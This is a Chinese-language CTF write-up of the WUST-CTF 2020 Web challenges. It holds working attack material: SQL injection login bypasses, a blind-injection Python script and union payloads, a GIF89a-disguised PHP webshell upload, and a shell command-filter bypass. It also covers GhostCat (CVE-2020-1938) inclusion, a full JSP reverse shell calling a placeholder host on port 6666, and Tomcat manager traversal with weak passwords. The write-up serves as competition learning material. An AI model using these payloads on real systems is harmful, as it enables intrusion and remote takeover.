周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的。最后有幸拿了总排第5,记录一下Web的题解。
checkin
进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的
直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可
弹出作者的博客地址,跟进去
在作者博客首页可以看到一部分Flag:
根据提示“远古的博客”,找到一篇1970年的文章,文章末尾有后半段Flag:
Here is your flag: 5_a_c@nner_can_Can_@_can}
得到Flag:
wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}
admin
进入题目后发现是一个登陆界面,尝试万能密码登陆成功: admin@1' or 1=1#
进入http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php页面
提示必须本地ip才能访问,添加XFF头: X-Forwarded-For: 127.0.0.1
又提示用GET方式传一个参数ais, 值为520,GET传值: ?ais=520
又提示用POST方式传一个参数wust, 值为1314,POST传值: wust=1314
最后得到:你离flag已经很近了,网址给你了: 4dz aste.ubuntu.com/p/ https://p Rqr cSf2
wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}
CV Maker
进入题目发现是一个CMS,随便注册一个账号进入个人主页,发现有上传点:
这个按钮很僵硬,直接上传php文件(这里发现没有过滤,有点困惑),但是后端有 exif_imagetype()验证,直接在文件头添加GIF89a上传得到Shell
连接Shell,发现根目录下有/readflag,运行得到Flag:
Flag:
wctf2020{congratulation_upl0ad_to_getShe1111111}
朴实无华
进入题目什么都没有,根据“人间极乐bot”字样猜测Robots.txt文件中有hint:
User-agent: *
Disallow: /fAke_f1agggg.php
根据提示进入/fAke_f1agggg.php,在Header中发现fl4g.php,访问得到源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__); //level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
} //get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一层:利用PHP弱类型 num=202.0e8
官方Wp解析:这个比较常见了,intval() 在处理16进制时存在问题,但强制转换时是正常的,intval(字符串)为0,但是intval(字符串+1) 会自动转换成数值的,php7里面修复了这个东西,这里输入 0x1234 即可绕过。
第二层:爆破Md5,要求明文必须为0e开头,md5值必须为0e开头,并且0e后必须为纯数字,写个脚本慢慢爆破吧:
import hashlib
def md5_enc(s):
m = hashlib.md5()
m.update(str(s).encode('utf-8'))
return m.hexdigest() for i in range(0,9999999999):
i = '0e' + str(i)
enc = md5_enc(i)
print(i+" md5 is "+enc)
#md5值前两位为0e
if enc[:2] == "0e":
#md5值0e后为纯数字
if enc[2:].isdigit():
result.append(i)
print("Got Result:"+i)
break
跑了40分钟得到一个值:md5 = 0e215962017
第三层:可以用\的方式绕过对Cat的检测,用 $IFS$9 来代替空格(也可以用more head等语句代替cat读取文件,方法太多)
ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到Flag:
wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t}
easyweb
进入题目发现是一个可以上传文件并下载的网站:
简单测试一下发现是Tomcat/8.5.42,并且8009端口开放,很容易联想到前段时间爆出的tomcat幽灵猫(GhostCat) CVE-2020-1938.
最大的难点在于exp脚本大多都是文件读取的,没有文件包含的比较少,分享一个:
链接:https://pan.baidu.com/s/101wFmK1J0OGYRC383fdBBA
提取码:xg4s
利用思路就是在12121端口的上传点传入jsp木马,然后再利用幽灵猫的exp从8009端口包含jsp木马,包含的时候木马也就会被服务器解析,从而GetShell
分享一个队里师傅用的反弹Shell的jsp脚本:
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%> <%
class StreamConnector extends Thread
{
InputStream pp;
OutputStream qk; StreamConnector( InputStream pp, OutputStream qk )
{
this.pp = pp;
this.qk = qk;
} public void run()
{
BufferedReader qe = null;
BufferedWriter ihb = null;
try
{
qe = new BufferedReader( new InputStreamReader( this.pp ) );
ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
char buffer[] = new char[];
int length;
while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
{
ihb.write( buffer, 0, length );
ihb.flush();
}
} catch( Exception e ){}
try
{
if( qe != null )
qe.close();
if( ihb != null )
ihb.close();
} catch( Exception e ){}
}
} try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
} Socket socket = new Socket( "IP", 6666 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
执行效果如下:
(想复现的时候环境出了问题,反弹Shell会连接重置,所以直接从官方Wp借了一张图)
可以在根目录上找到 flaaaag 目录,目录里有 what_you_want 文件,执行命令 cat /flaaaag/what_you_want 即可读到flag:
wctf2020{0h_you_are_amazing_babyyyy}
颜值成绩查询
进入题目发现是一个查询成绩的页面,明显的SQL注入:
fuzz了一下发现过滤了 空格、union
简单绕过,用/**/替代空格,双写union即可绕过过滤,贴上队里forever404师傅的exp:
#database = ctf
#table_one = flag
#table_two = score
#column_one = flag
#column_two = value
import requests
url = 'http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#'
flag = ''
for m in range(1,50):
for n in range(48,126):
res = requests.get(url.format(m,n))
if 'admin' in res.text:
flag += chr(n)
print(chr(n))
break
if n==125 and 'admin' not in res.text:
break
print(flag)
也可以联合注入:
数据库:0/**/uniunionon/**/select/**/1,database(),version()#
表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#
字段:0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#
得到Flag:
wctf2020{e@sy_sq1_and_y0u_sc0re_1t}
train yourself to be godly
本次比赛Web唯一没有做出来的一道题,但是就差最后一步,比赛结束了,有点遗憾,队里的guoke师傅最后10分钟成为了本题的唯一解出
赛后复现一下,填满遗憾吧- -||
这里放出队里guoke师傅的WriteUp(guoke别说我偷你wp了,注明作者了!!!):
根据官方给出的BlackHat议题PPT可以得知利用 ..;/ 可以穿越目录:
tomcat@tomcat弱口令进入manager/html 在进行用户名密码验证的时候。发现会返回一个cookie。但是后面请求又没有带上这个cookie。
并且,在本地复现tomcat war包getshell时,发现HTTP请求中都带了HTTP authorxxxxx的认证 带上cookie和HTTP头认证后上传后发现还是403。
猜测和返回cookie的path有关。因为正常情况。直接访问/manager返回path=/manager。而我是通过目录遍历访问的。所以将path也改为/..;/manager
在部署的时候加上之前的SESSION,即可成功上传并访问木马:
得到Flag:
wctf2020{th1s_1s_th3_m0st_e@sy_web}